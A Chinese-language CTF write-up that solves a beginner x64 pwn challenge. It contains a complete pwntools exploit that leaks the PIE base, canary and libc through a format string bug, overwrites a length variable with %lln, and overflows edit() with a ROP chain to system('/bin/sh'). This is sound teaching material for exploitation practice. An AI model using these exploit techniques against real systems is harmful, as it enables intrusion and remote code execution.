【市赛】2024-pwn01

ctf
5.2k words

入门题,考察 x64的字符格式化漏洞Canray

alt text

main里一个switch case

1
2
3
4
1.add
2.naming
3.edit
4.show

menu()这也有

alt text

再看每个函数

add()

alt text

naming()

alt text

这里很明显的存在fmt漏洞,变量名上其实也给了提示

edit()

alt text

这里是一个写入,写入长度是_b所存储的长度。

gdb断点看下b所在的位置

alt text

下一个rip地址0x55555555533c+0x2d2c=0x555555558068

alt text

其实这个是在bss部分

从反编译也可以看到

alt text

show()

alt text

思路

从反编译的地址可以看出这题开了pie,还有喜闻乐见的canary

顺便题目还给了个libc

既然考点是format,那存在fmt漏洞的也就只有naming函数,不过他写死了长度0x30,也就只能做fmt漏洞使用,触发点不在这个func里

alt text

另一个可以输入但是没有完全写死长度的是edit()

alt text

alt text

这里他是从bss部分的_b里取长度值的,泄露pie基地址+4068就可以获取_b的地址,用fmt$n直接写就好

梳理一下

1.现在naming()存在fmt漏洞

2.题目存在piecanary以及需要泄露libc

3.edit_b作为输入长度取值地址,获取pie基地址算出_b就可以fmt修改值

因为是x64的所以fmt的取值先过6个寄存器 rdi rsi rdx rcx r8 r9

测一下 这里我给了7个%p

alt text

这里不出意外的话会输出

0x7ffff7f9c643.<nil>.0x7ffff7ec44e0.0xa.<nil>.0x70252e70252e7025.0x252e70252e70252e

alt text

x64的传值顺序是

1
rdi rsi rdx rcx r8 r9 栈

小tips:直接%p的话会跳过第一个rdi

这里用%num$p的还是会跳过

泄露pie

肉眼观察printf这部分寄存器和栈上有没有可以用的func

alt text

我看中了rbp后的main+133

1
09:0048│+008     0x7fffffffdd78 —▸ 0x555555555461 (main+113) ◂— jmp 0x555555555497

数了下需要%15$p就可以leak,然后- 113就可以获取func_main,再用elf.symbol["main"]减去偏移就可以获得pie的base

payload

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
io = process('./book')
elf = ELF('./book')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc = ELF('/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2')
context(arch='amd64',log_level='debug')
io.sendlineafter('>>','2')
io.sendlineafter('name:\n',"%15$p")
io.recvuntil('is:\n')
base = (int(io.recv(14),16) - 113) - elf.symbols["main"]
print(hex(base))

alt text

就获得了PIE的base

Canary

一样,用fmt泄露就行

alt text

这个位置的话是%13$p

1
2
3
4
5
6
···
io.sendlineafter('>>','2')
io.sendlineafter('name:\n',"%13$p")
io.recvuntil('is:\n')
canary = int(io.recv(18),16)
print("Canary = "+hex(canary))

输出0x33c0c0aef6d92700

libc

泄露libc的话我这里用%7$psetbuffer - 198就可以获取到func_setbuffer的地址

alt text

payload

1
2
3
4
5
6
7
8
9
10
io.sendlineafter('>>','2')
io.sendlineafter('name:\n',"%7$p")
io.recvuntil('is:\n')

setbuffer_addr = int(io.recv(16),16) - 198
libc_base = setbuffer_addr - libc.symbols["setbuffer"]
print("libc_base_addr ="+ hex(libc_base))

system_addr = libc_base + libc.symbols["system"]
binsh_addr = libc_base + next(libc.search("/bin/sh\x00"))

修改_b所存储的内容

这里用pie的base + elf.symbols["b"]就可以得到b的地址

1
2
b_addr = base + elf.symbols["b"]
print(hex(b_addr))

然后是修改,因为是x64的,p64的地址其实是整个8地址长度,超出8但不满16的像这里0x7fffffffdd500x00补前面的位

又因为是小端序,所以在fmt写的时候如果先输入地址,read到\x00时会结束,导致后面fmt写操作的%numc%num$lln不会被读取到。

那就fmt_write + p64(b_addr)就ok

1
2
3
io.sendlineafter('>>','2')
b_write=b"%256c%8$llnaaaaa"+ p64(b_addr)
io.sendlineafter('name:\n',b_write)

第一次接触的话可能会对这个write的payload有点疑惑
%256c其实就是256个空格,%8$lln是把前面的字符数量计数,以(lln)64位十进制整数 写到第8个地址所指向的地址(也就是栈上数从头往下数第三个),因为这里$n写的话必须是要写到一个指针所指向的地址,所以我们%8的位置需要写我们刚base+b算出的b_addr

为了避免让read对我们的write不满足字节对齐8位,%256c%8$lln长度是11,需要再补满16,就是%256c%8$llnaaaaa

如下图

alt text

继续走,看写入

alt text

此时edit()的写入长度b就被我们改为了0x100

我们再去看edit()0x58可以覆盖完rbp,rbp-0x10的位置要放canary

alt text

我们再去找俩rop用的指令

找一下pop_rdiret

1
2
└─$ ROPgadget --binary ./book |grep "pop rdi"
0x0000000000001503 : pop rdi ; ret
1
2
3
4
└─$ ROPgadget --binary ./book --only "ret"    
Gadgets information
============================================================
0x000000000000101a : ret

pie_base+对应的偏移即可

现在我们就凑齐了

1
2
3
4
5
6
7
1.edit()长度使用的b所指向的0x20被改写为0x100,使得edit存在溢出

2.pie基地址得到pop_rdi 和 ret

3.libc得到的system 和 binsh

4.canary

此时payload

1
2
3
4
payload = 0x48 * b"a" + p64(canary) +  p64(ret) +p64(ret)+ p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)  

io.sendlineafter('>>','3')
io.sendlineafter('write\n',payload)

完整payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import*
io = process('./book')
#io = gdb.debug('./book',"b naming")
elf = ELF('./book')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context(arch='amd64',log_level='debug')

#--- get pie base

io.sendlineafter('>>','2')
io.sendlineafter('name:\n',"%15$p")
io.recvuntil('is:\n')
base = (int(io.recv(14),16) - 113) - elf.symbols["main"]
print("base_addr = "+hex(base))

#--- get Canary

io.sendlineafter('>>','2')
io.sendlineafter('name:\n',"%13$p")
io.recvuntil('is:\n')
canary = int(io.recv(18),16)
print("Canary = "+hex(canary))

#--- libc

io.sendlineafter('>>','2')
io.sendlineafter('name:\n',"%7$p")
io.recvuntil('is:\n')
setbuffer_addr = int(io.recv(16),16) - 198
libc_base = setbuffer_addr - libc.symbols["setbuffer"]
print("libc_base_addr ="+ hex(libc_base))
system_addr = libc_base + libc.symbols["system"]
binsh_addr = libc_base + next(libc.search("/bin/sh\x00"))
print("*"*30)

#--- reset b

b_addr = base + elf.symbols["b"]
print(hex(b_addr))

io.sendlineafter('>>','2')
b_write=b"%256c%8$llnaaaaa"+ p64(b_addr)
io.sendlineafter('name:\n',b_write)

pop_rdi = base + 0x1503
ret = base + 0x101a

payload = 0x48 * b"a" + p64(canary) + p64(ret) +p64(ret)+ p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)

io.sendlineafter('>>','3')
io.sendlineafter('write\n',payload)

io.interactive()